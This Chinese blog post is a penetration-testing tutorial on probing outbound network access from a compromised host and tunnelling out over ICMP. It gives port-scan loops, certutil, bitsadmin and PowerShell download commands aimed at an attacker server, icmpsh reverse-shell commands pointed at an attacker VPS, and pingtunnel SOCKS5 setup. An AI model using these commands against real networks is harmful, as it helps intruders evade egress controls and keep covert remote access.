内网渗透 出网探测

个人博客:wutongsec.cn

禁止出站 IP

对于这种情况的话,就很麻烦了。如果目标主机设置了严格的策略,只允许主动连接公网指定的 IP。这样的话,就没办法反弹 shell 了。

禁止出站端口

如果防火墙上做了限制,只允许该服务器访问特定端口。那么,这样的话,我们就必须得找到允许访问的端口了。一般来说,如果目标是限制的出站端口,那么允许出站端口大概率是 80、443、8080、8443、8090 之类的 web 端口,但是也有可能是高范围端口。

如何探测?在攻击端监听某个端口,然后让目标访问攻击端的端口,若攻击端出现访问记录则说明该端口是允许访问的。

但是,要想成功探测也是很麻烦的,有以下几个难点:

• 探测出站端口的命令或工具

• 猜测端口的范围

• 攻击端的端口请求记录

对于探测命令,Windows 和 Linux 所支持的不同。总的来说,我们有很多种选择。如:nmap、nc、masscan 之类的专门端口探测的工具,这类工具需要我们

自己上传。还可以使用 python、perl 等脚本语言探测端口。也可以借助 curl、wget 之类的 http 访问工具。总之,我们要结合目标环境来考量,最总要还是要考

虑效率的问题!

工具探测

fscan -h 182.61.200.6 -p 1-65535

masscan -p 80,443,8000-9000 182.61.200.6 --rate=10000

nmap -sT -Pn -p- -v www.baidu.com

脚本探测:

1. 探测指定范围端口
for i in {440..449}; do
  timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed"
done
  • 作用:这个命令会探测 baidu.com 网站的 440 到 449 端口范围是否开放。

  • 解析

    • {440..449}:表示一个端口范围,从 440 到 449。

    • timeout 0.5:设置超时时间为 0.5 秒,即如果 0.5 秒内没有响应,认为该端口关闭。

    • bash -c "echo >/dev/tcp/baidu.com/$i":通过 Bash 访问 /dev/tcp/baidu.com/$i,尝试连接指定的端口 $i(即 440..449)。

    • && echo "$i ************************open************************":如果连接成功(即端口开放),输出端口号并标明开放。

    • || echo "$i closed":如果连接失败(即端口关闭),输出端口号并标明关闭。

2. 将结果写入文件
for i in {440..449}; do
  timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed"
done >> result.txt
  • 作用:这个命令与第一个命令相同,但不同的是它将结果保存到文件 result.txt 中。

  • 解析:

    • >> result.txt:将输出追加到 result.txt 文件中。如果文件不存在,会创建该文件。

3. 探测常见端口
for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211}; do
  timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed"
done
  • 作用:探测常见的服务端口是否开放,目标是 baidu.com

  • 常见端口解释:

    • 21:FTP

    • 22:SSH

    • 23:Telnet

    • 25:SMTP

    • 53:DNS

    • 80:HTTP

    • 443:HTTPS

    • 3306:MySQL

    • 6379:Redis

    • 8080:HTTP 代理或应用服务

    • 11211:Memcached

    • 其他端口涉及常见的网络服务如 LDAP、NTP、POP3 等。

  • 解析:与第一个脚本类似,通过 timeout 0.5 限定超时时间,使用 /dev/tcp 特性判断这些常见端口的开放状态。

探测 ICMP 协议

服务端监听 ICMP 流量:tcpdump icmp

客户端 ping VPS 地址,查看服务端能否收到请求

我们 VPS 监听,然后 ping 我们 vps 查看能否收到监听来判断 ICMP 协议是否出网。也可以直接 ping 一个地址,看是否有 ttl 值。

image-20241126193417710

探测 DNS 协议

Windows:nslookup、ping

Linux:nslookup、dig、ping

通过判断能否将域名解析为 ip,判断 DNS 协议是否出网。也可以将域名换成dnslog 的域名,再看 dnslog 能否收到请求

image-20241126193442189

探测 HTTP 协议

Linux 系统可以使用 curl 命令:

curl http://192.168.10.13

image-20241126193614018

Windows 系统可以使用以下命令:

certutil -urlcache -split -f http://192.168.10.13/1

bitsadmin /transfer test http://192.168.10.13/1 c:\1

powershell iwr -Uri http://192.168.10.13/1 -OutFile 1 -UseBasicParsing

只有 icmp 协议出网场景

利用 icmp 协议通信的工具有很多,如:icmpsh、reverse-icmp-shell、PingTunnel、IcmpTunnel

ICMP(Internet Control Message Protocol)隧道是一种利用ICMP协议来传输其他类型的数据的技术。通常情况下,当两台设备通过网络进行通信时,需要使用特定的端口和服务。然而,ICMP协议本身并不依赖于端口号,而是通过类型和代码字段来区分不同的消息。

ICMP协议的特点:

  • 无端口:不像TCP或UDP那样需要指定端口,ICMP主要用于发送错误消息和运营信息。

  • 广泛支持:几乎所有的网络设备都支持ICMP协议,特别是用于网络诊断的ping命令。

  • 防火墙友好:许多网络管理员允许ICMP流量通过防火墙,以保持网络的可管理性和诊断能力。

ICMP隧道的工作原理:

攻击者利用ICMP协议的这些特点,可以通过以下步骤建立ICMP隧道:

  1. 封装数据:攻击者将想要传输的数据(如TCP/UDP数据)封装进ICMP Echo Request(即ping请求)的数据字段中。

  2. 发送请求:封装后的ICMP数据包被发送到目标主机。

  3. 解封装数据:目标主机接收到ICMP Echo Request后,提取出原始数据并处理。

  4. 响应:目标主机可能也会通过ICMP Echo Reply(ping回复)将响应数据回传给我们

目标为 Windows

下载 icmpsh 工具

攻击机的操作

#关闭 icmp 回复,如果要开启 icmp 回复,该值设置为 0

sysctl -w net.ipv4.icmp_echo_ignore_all=1

image-20241126200932022

#运行,第一个 IP 是 VPS 的 eth0 网卡 IP,第二个 IP 是目标机器出口的公网 IP(虚拟机直接上网查直接查) python2 icmpsh_m.py 172.20.92.13 <公网ip>

注:使用 icmpsh 需要依赖 impacket 库文件,所以在使用前需要安装impacket。

目标机器的操作:

icmpsh.exe -t 39.99.251.19 -d 500 -b 30 -s 128

-t:指定远程主机 ip

-d:请求之间的延迟,单位为毫秒,默认 200

-b:退出前的最大空格数(未应答的 icmp 请求)

-s:最大数据缓冲区的字节大小(默认值为 64 个字节)

可以用veshark查看流量为icmp

使用 PingTunnel 搭建隧道

pingtunnel 是一款把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具。 项目地址:https://github.com/esrrhs/pingtunnel/

image-20241126202347346

服务端参数

参数描述默认值
-key设置的密码0
-nolog不写日志文件,只打印标准输出0
-noprint不打印屏幕输出0
-loglevel日志文件等级info
-maxconn最大连接数0(不限制)
-maxprt服务器最大处理线程数100
-maxprb服务器最大处理线程 buffer 数1000
-conntt服务器发起连接到目标地址的超时时间1000ms

客户端参数

参数描述默认值
-l本地的地址,发到这个端口的流量将转发到服务器
-s服务器的地址,流量将通过隧道转发到这个服务器
-t远端服务器转发的目的地址,流量将转发到这个地址
-timeout记录连接超时的时间,单位是秒60s
-key设置的密码0
-tcp是否转发 TCP0
-tcp_bsTCP 的发送接收缓冲区大小1MB
-tcp_mwTCP 的最大窗口20000
-tcp_rstTCP 的超时发送时间400ms
-tcp_gz当数据包超过这个大小,TCP 将压缩数据,0 表示不压缩0
-tcp_stat打印 TCP 的监控0
-nolog不写日志文件,只打印标准输出0
-noprint不打印屏幕输出0
-loglevel日志文件等级info
-sock5开启 SOCK5 转发0
-profile在指定端口开启性能检测0(不开启)
-s5filterSOCK5 模式设置转发过滤,CN 代表 CN 地区的直连不转发全转发
-s5ftfileSOCK5 模式转发过滤的数据文件GeoLite2-Country.mmdb

服务端

  1. 关闭 ICMP 回复 关闭 ICMP 回复可以防止不必要的 ICMP 流量干扰隧道的正常工作。执行以下命令:

    sysctl -w net.ipv4.icmp_echo_ignore_all=1
  2. 启动 ICMP 隧道服务器 使用 pingtunnel 工具启动服务器端,监听 ICMP 流量并转发到 SOCKS5 代理。假设 pingtunnel 工具已经安装在你的系统中,执行

    ./pingtunnel -type server -noprint 1 -nolog 1

客户端操作

pingtunnel.exe -type client -l :1080 -s 39.99.251.19 -sock5 1 -noprint 1 -nolog1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值